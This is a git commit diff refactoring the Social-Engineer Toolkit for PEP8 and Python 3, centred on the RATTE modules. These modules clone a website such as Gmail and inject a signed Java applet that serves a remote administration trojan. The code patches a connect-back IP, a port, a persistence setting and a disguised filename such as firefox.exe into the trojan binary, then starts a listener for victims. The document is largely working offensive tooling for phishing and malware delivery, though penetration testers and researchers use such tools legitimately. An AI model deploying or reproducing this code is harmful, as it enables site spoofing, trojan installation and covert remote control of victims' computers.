PEP8 and python3 changes

This commit is contained in:
Ryan Jarvis 2016-07-22 09:52:36 -07:00
parent 613d7a5c6e
commit 1e4b95f102
9 changed files with 337 additions and 277 deletions

View file

@ -2,42 +2,67 @@
#
# These are required fields
#
import sys
import subprocess
import os
from src.core.menu import text
from src.core import setcore as core
import subprocess
from time import sleep
import urlparse
try:
from urllib.parse import urlparse
except ImportError:
from urlparse import urlparse
try:
import socketserver as SocketServer # Py3
except ImportError:
import SocketServer # Py2
try:
import http.server as SimpleHTTPServer # Py3
except ImportError:
import SimpleHTTPServer # Py2
try:
import _thread as thread # Py3
except ImportError:
import thread # Py2
import src.core.setcore as core
from src.core.menu import text
try:
input = raw_input
except NameError:
pass
definepath = os.getcwd()
setdir = setdir()
setdir = core.setdir()
MAIN=" RATTE Java Applet Attack (Remote Administration Tool Tommy Edition) - Read the readme/RATTE_README.txt first"
MAIN = " RATTE Java Applet Attack (Remote Administration Tool Tommy Edition) - Read the readme/RATTE_README.txt first"
#This is RATTE (Remote Administration Tool Tommy Edition) attack module. It will launch a java applet attack to inject RATTE. Then it will launch RATTE-Server and wait for victim to connect. RATTE can beat local Firewalls, IDS and even EAL 4+ certified network firewalls.
#This release one is only for education!"
AUTHOR=" Thomas Werth"
# This is RATTE (Remote Administration Tool Tommy Edition) attack module. It will launch a java applet attack to inject RATTE. Then it will launch RATTE-Server and wait for victim to connect. RATTE can beat local Firewalls, IDS and even EAL 4+ certified network firewalls.
# This release one is only for education!"
AUTHOR = " Thomas Werth"
httpd = None
httpd=None
#
# This will start a web server in the directory root you specify, so for example
# you clone a website then run it in that web server, it will pull any index.html file
#
def start_web_server_tw(directory,port):
def start_web_server_tw(directory, port):
global httpd
try:
# import the threading, socketserver, and simplehttpserver
import thread,SocketServer,SimpleHTTPServer
# create the httpd handler for the simplehttpserver
# we set the allow_reuse_address incase something hangs can still bind to port
class ReusableTCPServer(SocketServer.TCPServer): allow_reuse_address=True
# we set the allow_reuse_address in case something hangs can still bind to port
class ReusableTCPServer(SocketServer.TCPServer):
allow_reuse_address = True
# specify the httpd service on 0.0.0.0 (all interfaces) on port 80
httpd = ReusableTCPServer(("0.0.0.0", port),SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd = ReusableTCPServer(("0.0.0.0", port), SimpleHTTPServer.SimpleHTTPRequestHandler)
# thread this mofo
thread.start_new_thread(httpd.serve_forever,())
thread.start_new_thread(httpd.serve_forever, ())
# change directory to the path we specify for output path
os.chdir(directory)
@ -46,116 +71,113 @@ def start_web_server_tw(directory,port):
core.print_info("Exiting the SET web server...")
httpd.socket.close()
# handle the rest
#except Exception:
# print "[*] Exiting the SET web server...\n"
# httpd.socket.close()
# handle the rest
# except Exception:
# print "[*] Exiting the SET web server...\n"
# httpd.socket.close()
def stop_web_server_tw():
global httpd
try:
httpd.socket.close()
# handle the exception
except Exception:
except:
httpd.socket.close()
#
# This will create the java applet attack from start to finish.
# Includes payload (reverse_meterpreter for now) cloning website
# and additional capabilities.
#
def java_applet_attack_tw(website,port,directory,ipaddr):
def java_applet_attack_tw(website, port, directory, ipaddr):
# clone the website and inject java applet
core.site_cloner(website,directory,"java")
core.site_cloner(website, directory, "java")
############################################
# use customized Ratte nehmen
############################################
# this part is needed to rename the msf.exe file to a randomly generated one
if os.path.isfile("%s/rand_gen" % (setdir)):
if os.path.isfile(os.path.join(setdir, "/rand_gen")):
# open the file
fileopen=file("%s/rand_gen" % (setdir), "r")
# start a loop
for line in fileopen:
# define executable name and rename it
filename=line.rstrip()
# move the file to the specified directory and filename
subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory,filename), shell=True).wait()
with open(os.path.join(setdir, "rand_gen")) as fileopen:
for line in fileopen:
# define executable name and rename it
filename = line.rstrip()
# move the file to the specified directory and filename
subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait()
# lastly we need to copy over the signed applet
subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (setdir,directory), shell=True).wait()
subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (setdir, directory), shell=True).wait()
#TODO index.html parsen und IPADDR:Port ersetzen
fileopen=open("%s/index.html" % (directory), "rb")
data=fileopen.read()
fileopen.close()
# TODO index.html parsen und IPADDR:Port ersetzen
with open(os.path.join(directory, "index.html"), "rb") as fileopen:
data = fileopen.read()
filewrite=open("%s/index.html" % (directory), "wb")
with open(os.path.join(directory, "index.html"), 'wb') as filewrite:
to_replace = core.grab_ipaddress() + ":80"
toReplace=core.grab_ipaddress()+":80"
#replace 3 times
filewrite.write(data.replace(str(toReplace), ipaddr+":"+str(port), 3) )
filewrite.close()
# replace 3 times
filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3))
# start the web server by running it in the background
start_web_server_tw(directory,port)
start_web_server_tw(directory, port)
#
# Start ratteserver
#
def ratte_listener_start(port):
# launch ratteserver using ../ cause of reports/ subdir
#subprocess.Popen("%s/src/set_payloads/ratte/ratteserver %d" % (os.getcwd(),port), shell=True).wait()
subprocess.Popen("../src/payloads/ratte/ratteserver %d" % (port), shell=True).wait()
# subprocess.Popen("%s/src/set_payloads/ratte/ratteserver %d" % (os.getcwd(),port), shell=True).wait()
subprocess.Popen("../src/payloads/ratte/ratteserver %d" % port, shell=True).wait()
def prepare_ratte(ipaddr,ratteport, persistent,customexe):
def prepare_ratte(ipaddr, ratteport, persistent, customexe):
core.print_status("preparing RATTE...")
# replace ipaddress with one that we need for reverse connection back
############
#Load content of RATTE
# Load content of RATTE
############
fileopen=open("src/payloads/ratte/ratte.binary" , "rb")
data=fileopen.read()
fileopen.close()
with open("src/payloads/ratte/ratte.binary", "rb") as fileopen:
data = fileopen.read()
############
#PATCH Server IP into RATTE
# PATCH Server IP into RATTE
############
filewrite=open("%s/ratteM.exe" % (setdir), "wb")
with open(os.path.join(setdir, "ratteM.exe"), 'wb') as filewrite:
host=int(len(ipaddr)+1) * "X"
rPort=int(len(str(ratteport))+1) * "Y"
pers=int(len(str(persistent))+1) * "Z"
#check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
if len(str(customexe)) > 0:
cexe=int(len(str(customexe))+1) * "Q"
else:
cexe=""
host = (len(ipaddr) + 1) * "X"
r_port = (len(str(ratteport)) + 1) * "Y"
pers = (len(str(persistent)) + 1) * "Z"
# check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
if customexe:
cexe = (len(str(customexe)) + 1) * "Q"
else:
cexe = ""
filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1))
filewrite.write(data.replace(str(cexe), customexe+"\x00", 1).replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
filewrite.close()
# def main(): header is required
def main():
valid_site = False
valid_ip = False
valid_persistence = False
input_counter= 0
site_input_counter=0
# valid_persistence = False
input_counter = 0
site_input_counter = 0
ipaddr = None
website = None
#pause=raw_input("This module has finished completing. Press <enter> to continue")
# pause=input("This module has finished completing. Press <enter> to continue")
# Get a *VALID* website address
while valid_site != True and site_input_counter < 3:
website = raw_input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
site = urlparse.urlparse(website)
while not valid_site and site_input_counter < 3:
website = input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
site = urlparse(website)
if site.scheme == "http" or site.scheme == "https":
if site.netloc != "":
@ -175,16 +197,16 @@ def main():
return
else:
core.print_warning("I couldn't determine whether this is an http or https site. Try again?")
site_input_counter +=1
#core.DebugInfo("site.scheme is: %s " % site.scheme)
#core.DebugInfo("site.netloc is: %s " % site.netloc)
#core.DebugInfo("site.path is: %s " % site.path)
#core.DebugInfo("site.params are: %s " % site.params)
#core.DebugInfo("site.query is: %s " % site.query)
#core.DebugInfo("site.fragment is: %s " % site.fragment)
site_input_counter += 1
# core.DebugInfo("site.scheme is: %s " % site.scheme)
# core.DebugInfo("site.netloc is: %s " % site.netloc)
# core.DebugInfo("site.path is: %s " % site.path)
# core.DebugInfo("site.params are: %s " % site.params)
# core.DebugInfo("site.query is: %s " % site.query)
# core.DebugInfo("site.fragment is: %s " % site.fragment)
while valid_ip != True and input_counter < 3:
ipaddr = raw_input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
while not valid_ip and input_counter < 3:
ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
@ -194,22 +216,21 @@ def main():
else:
input_counter += 1
#javaport must be 80, cause applet uses in web injection port 80 to download payload!
# javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(raw_input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
javaport = int(input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
while javaport == 0 or javaport > 65535:
if javaport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if javaport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
javaport = int(raw_input(core.setprompt(["9", "2"],"Port Java applet should listen on [80]")))
javaport = int(input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
except ValueError:
#core.print_info("Port set to default of 80")
# core.print_info("Port set to default of 80")
javaport = 80
#javaport=80
try:
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
if ratteport == javaport:
core.print_warning("Port must not be equal to javaport!")
@ -217,43 +238,43 @@ def main():
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
except ValueError:
ratteport = 8080
persistent = core.yesno_prompt(["9","2"], "Should RATTE be persistentententent [no|yes]?")
persistent = core.yesno_prompt(["9", "2"], "Should RATTE be persistentententent [no|yes]?")
# j0fer 06-27-2012 # while valid_persistence != True:
# j0fer 06-27-2012 # persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# j0fer 06-27-2012 # persistent=str.lower(persistent)
# j0fer 06-27-2012 # if persistent == "no" or persistent == "n":
# j0fer 06-27-2012 # persistent="NO"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # elif persistent == "yes" or persistent == "y":
# j0fer 06-27-2012 # persistent="YES"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # else:
# j0fer 06-27-2012 # core.print_warning(text.YES_NO_RESPONSES)
# j0fer 06-27-2012 # while valid_persistence != True:
# j0fer 06-27-2012 # persistent=input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# j0fer 06-27-2012 # persistent=str.lower(persistent)
# j0fer 06-27-2012 # if persistent == "no" or persistent == "n":
# j0fer 06-27-2012 # persistent="NO"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # elif persistent == "yes" or persistent == "y":
# j0fer 06-27-2012 # persistent="YES"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # else:
# j0fer 06-27-2012 # core.print_warning(text.YES_NO_RESPONSES)
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr,ratteport,persistent,customexe)
prepare_ratte(ipaddr, ratteport, persistent, customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.print_info("Starting java applet attack...")
java_applet_attack_tw(website,javaport, "reports/",ipaddr)
java_applet_attack_tw(website, javaport, "reports/", ipaddr)
fileopen=file("%s/rand_gen" % (setdir,definepath), "r")
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (setdir,definepath,definepath,ratte_random), shell=True).wait()
with open(os.path.join(setdir, definepath, "/rand_gen")) as fileopen:
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (os.path.join(setdir, definepath), definepath, ratte_random), shell=True).wait()
#######################
# start ratteserver

View file

@ -2,148 +2,153 @@
#
# These are required fields
#
import sys
import subprocess
import os
from src.core.setcore import *
import subprocess
from time import sleep
import src.core.setcore as core
from src.core.menu import text
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
# "This is RATTE (Remote Administration Tool Tommy Edition) prepare module.It will prepare a custom ratteM.exe."
MAIN=" RATTE (Remote Administration Tool Tommy Edition) Create Payload only. Read the readme/RATTE-Readme.txt first"
AUTHOR=" Thomas Werth"
MAIN = " RATTE (Remote Administration Tool Tommy Edition) Create Payload only. Read the readme/RATTE-Readme.txt first"
AUTHOR = " Thomas Werth"
#
# Start ratteserver
#
def ratte_listener_start(port):
subprocess.Popen("src/payloads/ratte/ratteserver %d" % port, shell=True).wait()
subprocess.Popen("src/payloads/ratte/ratteserver %d" % (port), shell=True).wait()
def prepare_ratte(ipaddr,ratteport, persistent,customexe):
print_info("preparing RATTE...")
def prepare_ratte(ipaddr, ratteport, persistent, customexe):
core.print_info("preparing RATTE...")
# replace ipaddress with one that we need for reverse connection back
############
#Load content of RATTE
# Load content of RATTE
############
fileopen=open("src/payloads/ratte/ratte.binary" , "rb")
data=fileopen.read()
fileopen.close()
with open("src/payloads/ratte/ratte.binary", "rb") as fileopen:
data = fileopen.read()
############
#PATCH Server IP into RATTE
# PATCH Server IP into RATTE
############
filewrite=open(setdir + "/ratteM.exe", "wb")
with open(os.path.join(core.setdir, "ratteM.exe"), "wb") as filewrite:
host=int(len(ipaddr)+1) * "X"
rPort=int(len(str(ratteport))+1) * "Y"
pers=int(len(str(persistent))+1) * "Z"
#check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
if len(str(customexe)) > 0:
cexe=int(len(str(customexe))+1) * "Q"
else:
cexe=""
host = (len(ipaddr) + 1) * "X"
r_port = (len(str(ratteport)) + 1) * "Y"
pers = (len(str(persistent)) + 1) * "Z"
# check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
if customexe:
cexe = (len(str(customexe)) + 1) * "Q"
else:
cexe = ""
filewrite.write(data.replace(str(cexe), customexe+"\x00", 1).replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1))
# filewrite.write(data.replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
# filewrite.write(data.replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
# filewrite.write(data.replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
#filewrite.write(data.replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
filewrite.close()
# def main(): header is required
def main():
valid_site = False
valid_ip = False
valid_response = False
input_counter=0
input_counter = 0
#################
# get User Input
#################
#ipaddr=raw_input(setprompt(["9", "2"], "IP address to connect back on"))
# ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
while valid_ip != True and input_counter < 3:
ipaddr = raw_input(setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = validate_ip(ipaddr)
ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
print_error("\nMaybe you have the address written down wrong?")
core.print_error("\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
"""try:
ratteport=int(raw_input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
while ratteport==0 or ratteport > 65535:
print_warning('Port must not be equal to javaport!')
ratteport=int(raw_input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
except ValueError:
ratteport=8080"""
# try:
# ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
# while ratteport==0 or ratteport > 65535:
# print_warning('Port must not be equal to javaport!')
# ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
# except ValueError:
# ratteport=8080
try:
ratteport = int(raw_input(setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
while ratteport == 0 or ratteport > 65535:
if ratteport == 0:
print_warning(text.PORT_NOT_ZERO)
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
print_warning(text.PORT_TOO_HIGH)
ratteport = int(raw_input(setprompt(["9", "2"],"Enter port RATTE Server should listen on [8080]")))
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on [8080]")))
except ValueError:
#core.print_info("Port set to default of 8080")
# core.print_info("Port set to default of 8080")
ratteport = 8080
# persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# if persistent == 'no' or persistent == '' or persistent == 'n':
# persistent='NO'
# else:
# persistent='YES'
"""persistent=raw_input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == 'no' or persistent == '' or persistent == 'n':
persistent='NO'
else:
persistent='YES'"""
while valid_response != True:
persistent=raw_input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
persistent=str.lower(persistent)
while not valid_response:
persistent = input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
persistent = str.lower(persistent)
if persistent == "no" or persistent == "n":
persistent="NO"
persistent = "NO"
valid_response = True
elif persistent == "yes" or persistent == "y":
persistent="YES"
persistent = "YES"
valid_response = True
else:
print_warning(text.YES_NO_RESPONSES)
core.print_warning(text.YES_NO_RESPONSES)
valid_response = False
customexe=raw_input(setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr,ratteport,persistent,customexe)
prepare_ratte(ipaddr, ratteport, persistent, customexe)
print_status("Payload has been exported to %s/ratteM.exe" % (setdir))
core.print_status("Payload has been exported to %s" % os.path.join(core.setdir, "ratteM.exe"))
###################
# start ratteserver
###################
"""prompt=raw_input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
if prompt == "yes" or prompt == "" or prompt == "y":
print_info("Starting ratteserver...")
ratte_listener_start(ratteport)"""
# prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
# if prompt == "yes" or prompt == "" or prompt == "y":
# print_info("Starting ratteserver...")
# ratte_listener_start(ratteport)
while valid_response != True:
prompt=raw_input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
prompt=str.lower(prompt)
while not valid_response:
prompt = input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
prompt = str.lower(prompt)
if prompt == "no" or prompt == "n":
prompt="NO"
print_error("Aborting...")
# prompt = "NO"
core.print_error("Aborting...")
sleep(2)
valid_response = True
elif prompt == "yes" or prompt == "y":
print_info("Starting ratteserver...")
core.print_info("Starting ratteserver...")
ratte_listener_start(ratteport)
print_info("Stopping ratteserver...")
core.print_info("Stopping ratteserver...")
sleep(2)
valid_response = True
else:
print_warning("valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
core.print_warning("valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")

View file

@ -1,13 +1,21 @@
#!/usr/bin/env python
# These are required fields
from src.core.setcore import *
import sys
import src.core.setcore as core
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
MAIN = " This is a test module"
AUTHOR = " Dave - TrustedSec"
# def main(): header is required
def main():
java_applet_attack("https://gmail.com","443","reports/")
pause=raw_input(" This module has finished completing. Press <enter> to continue")
core.java_applet_attack("https://gmail.com", "443", "reports/")
pause = input(" This module has finished completing. Press <enter> to continue")

View file

@ -1,13 +1,18 @@
#
# These are required fields
#
from src.core.setcore import *
import sys
import src.core.setcore as core
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
MAIN = " This is a test module"
AUTHOR = " Dave - TrustedSec"
MAIN="This is a test module"
AUTHOR="Dave - TrustedSec"
# def main(): header is required
def main():
java_applet_attack("https://gmail.com","443","reports/")
pause=raw_input("This module has finished completing. Press <enter> to continue")
core.java_applet_attack("https://gmail.com", "443", "reports/")
pause = input(" This module has finished completing. Press <enter> to continue")

View file

@ -6,17 +6,31 @@ import time
import subprocess
import re
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
try:
reload
except NameError:
from importlib import reload
# check where we are and load default directory
if os.path.isdir("/usr/share/setoolkit"):
if not os.path.isfile("se-toolkit"):
os.chdir("/usr/share/setoolkit")
sys.path.append("/usr/share/setoolkit")
import src.core.setcore as core
# if we can't see our config then something didn't go good..
if not os.path.isfile("/etc/setoolkit/set.config"):
print_error(
"Cannot locate SET executable. Try running from the local directory.")
print_error("If this does not work, please run the setup.py install file.")
core.print_error("Cannot locate SET executable. Try running from the local directory.")
core.print_error("If this does not work, please run the setup.py install file.")
sys.exit()
@ -89,8 +103,7 @@ if os.path.isfile(filename):
# if the user is using pexpect < 2.3
except AttributeError:
print("[-] Error: You are running pexpect < 2.3 which is needed for this function")
choice = raw_input(
"Would you like to install it now yes or no: ")
choice = input("Would you like to install it now yes or no: ")
if choice == "yes" or choice == "y":
subprocess.Popen(
"wget http://sourceforge.net/projects/pexpect/files/pexpect/Release%202.3/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2*", shell=True).wait()

24
seproxy
View file

@ -4,14 +4,21 @@
# Simple proxy for SET, note will show up in history
#
import pexpect
import sys
import getpass
import os
from src.core.setcore import *
import src.core.setcore as core
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
# grab the operating system
operating_system = check_os()
operating_system = core.check_os()
# if windows then do some stuff
if operating_system == "posix":
@ -23,8 +30,8 @@ if operating_system == "posix":
try:
proxy = raw_input("Enter the proxy server: ")
username = raw_input(
proxy = input("Enter the proxy server: ")
username = input(
"Enter the username for the proxy (hit enter for none): ")
password = getpass.getpass(
"Enter the password for the proxy (hit enter for none): ")
@ -40,15 +47,14 @@ if operating_system == "posix":
if username == "":
proxy_string = "export http_proxy='http://%s'" % (proxy)
filewrite = open(setdir + "/proxy.config", "w")
filewrite = open(core.setdir + "/proxy.config", "w")
filewrite.write(proxy_string)
filewrite.close()
from src.core.set import *
def kill_proc(port, flag):
proc = subprocess.Popen("netstat -antp | grep '%s'" %
(port), shell=True, stdout=subprocess.PIPE)
proc = subprocess.Popen("netstat -antp | grep '%s'" % (port), shell=True, stdout=subprocess.PIPE)
stdout_value = proc.communicate()[0]
a = re.search("\d+/%s" % (flag), stdout_value)
if a:
@ -67,6 +73,6 @@ if operating_system == "posix":
# handle errors
except Exception as error:
log(error)
pass
else:
print("[!] Sorry, this only works on posix (nix) based systems and is not compatible with this operating system.")

128
setoolkit
View file

@ -1,9 +1,16 @@
#!/usr/bin/env python
import re
import os
import sys
import re
import shutil
import subprocess
import sys
# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
input = raw_input
except NameError:
pass
# if we are running in the path no need to change
if os.path.isfile("setoolkit"):
@ -31,14 +38,13 @@ if not os.path.isfile("/etc/setoolkit/set.config"):
# here we check to ensure we have the latest version
data = open("/etc/setoolkit/set.config", "r").read()
if not "CONFIG_VERSION=7.2" in data:
print (
"[*] Overwriting old config for updates to SET. Backing up your old one in /etc/setoolkit/")
if "CONFIG_VERSION=7.2" not in data:
print("[*] Overwriting old config for updates to SET. Backing up your old one in /etc/setoolkit/")
shutil.move("/etc/setoolkit/set.config", "/etc/setoolkit/set.config.bak")
shutil.copyfile("src/core/config.baseline", "/etc/setoolkit/set.config")
# import after config checks have been properly created
from src.core.setcore import *
import src.core.setcore as core
from src.core.menu import text
from src.core.update_config import update_config
@ -54,21 +60,21 @@ if not os.path.isfile("src/logs/set_logfile.log"):
filewrite.close()
# check which operating system
operating_system = check_os()
operating_system = core.check_os()
# use ~/.set
if operating_system == "posix":
if not os.path.isdir(setdir):
if not os.path.isdir(core.setdir):
# create the set variables
os.makedirs(setdir)
os.makedirs(core.setdir)
# if for some reason it failed to pull the path
userdir = os.path.join(os.path.expanduser('~'), '.set')
if not os.path.isdir(userdir):
os.makedirs(userdir)
if not os.path.isdir(setdir + "/reports/"):
os.makedirs(setdir + "/reports")
if not os.path.isdir(core.setdir + "/reports/"):
os.makedirs(core.setdir + "/reports")
# check to see if we have python-pycrypto
@ -76,8 +82,7 @@ try:
from Crypto.Cipher import AES
except ImportError:
print(
"[!] The python-pycrypto python module not installed. You will lose the ability to use multi-pyinjector.")
print("[!] The python-pycrypto python module not installed. You will lose the ability to use multi-pyinjector.")
pass
#
@ -97,14 +102,14 @@ if operating_system == "posix":
# change permissions if nix
subprocess.Popen(
"chmod +x seautomate;chmod +x set-update;chmod +x setup.py;chmod +x set-proxy;chmod +x src/payloads/ratte/ratteserver;chmod +x src/payloads/set_payloads/listener.py",
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
dns = check_config("DNS_SERVER=")
dns = core.check_config("DNS_SERVER=")
if dns.lower() == "on":
start_dns()
core.start_dns()
# remove old files
for root, dirs, files in os.walk(setdir):
for root, dirs, files in os.walk(core.setdir):
for f in files:
try:
match = re.search(
@ -133,29 +138,26 @@ if operating_system == "posix":
#
if os.geteuid() != 0:
print (
"\n The Social-Engineer Toolkit (SET) - by David Kennedy (ReL1K)")
print (
"\n Not running as root. \n\nExiting the Social-Engineer Toolkit (SET).\n")
exit_set()
print("\n The Social-Engineer Toolkit (SET) - by David Kennedy (ReL1K)")
print("\n Not running as root. \n\nExiting the Social-Engineer Toolkit (SET).\n")
core.exit_set()
# if there isn't a set_config.py file yet, create one
if not os.path.isfile("/etc/setoolkit/set_config.py"):
update_config()
define_version = get_version()
cleanup_routine()
define_version = core.get_version()
core.cleanup_routine()
# create the set.options routine
filewrite = open(setdir + "/set.options", "w")
filewrite.write(
"{This is the main SET configuration file for all options used in SET}\n")
filewrite = open(core.setdir + "/set.options", "w")
filewrite.write("{This is the main SET configuration file for all options used in SET}\n")
filewrite.close()
try:
# Remove old Signed_Updates
if os.path.isfile(setdir + "/Signed_Update.jar"):
os.remove(setdir + "/Signed_Update.jar")
if os.path.isfile(core.setdir + "/Signed_Update.jar"):
os.remove(core.setdir + "/Signed_Update.jar")
# initial user menu
if not os.path.isfile("src/agreement4"):
@ -163,98 +165,96 @@ try:
for line in fileopen:
print((line.rstrip()))
print((bcolors.RED + """
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.""" + bcolors.GREEN))
choice = raw_input("\nDo you agree to the terms of service [y/n]: ")
print((core.bcolors.RED + """
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.""" + core.bcolors.GREEN))
choice = input("\nDo you agree to the terms of service [y/n]: ")
choice += " " # b/c method below
if choice[0].lower() == "y":
filewrite = open("src/agreement4", "w")
filewrite.write("user accepted")
filewrite.close()
print((bcolors.ENDC))
print(core.bcolors.ENDC)
else:
print((
bcolors.ENDC + "[!] Exiting the Social-Engineer Toolkit, have a nice day." + bcolors.ENDC))
print((core.bcolors.ENDC + "[!] Exiting the Social-Engineer Toolkit, have a nice day." + core.bcolors.ENDC))
sys.exit()
while True:
show_banner(define_version, '1')
show_main_menu = create_menu(text.main_text, text.main_menu)
core.show_banner(define_version, '1')
show_main_menu = core.create_menu(text.main_text, text.main_menu)
# special case of list item 99
print ('\n 99) Exit the Social-Engineer Toolkit\n')
print('\n 99) Exit the Social-Engineer Toolkit\n')
# main core menu
main_menu_choice = (raw_input(setprompt("0", "")))
main_menu_choice = (input(core.setprompt("0", "")))
# funny
if main_menu_choice == "hugs":
print_warning(
core.print_warning(
"Have you given someone a hug today? Remember a hug can change the world.")
pause = raw_input(
pause = input(
"\nPlease give someone a hug then press {return} to continue.")
# funny2
if main_menu_choice == "freehugs":
print_warning("HUGS ARE ALWAYS FREE! NEVER CHARGE! ALWAYS HUG.")
pause = raw_input(
"\nDo not press return until giving someone a hug.")
core.print_warning("HUGS ARE ALWAYS FREE! NEVER CHARGE! ALWAYS HUG.")
pause = input("\nDo not press return until giving someone a hug.")
# funny3
if main_menu_choice == "derbycon":
print_warning(
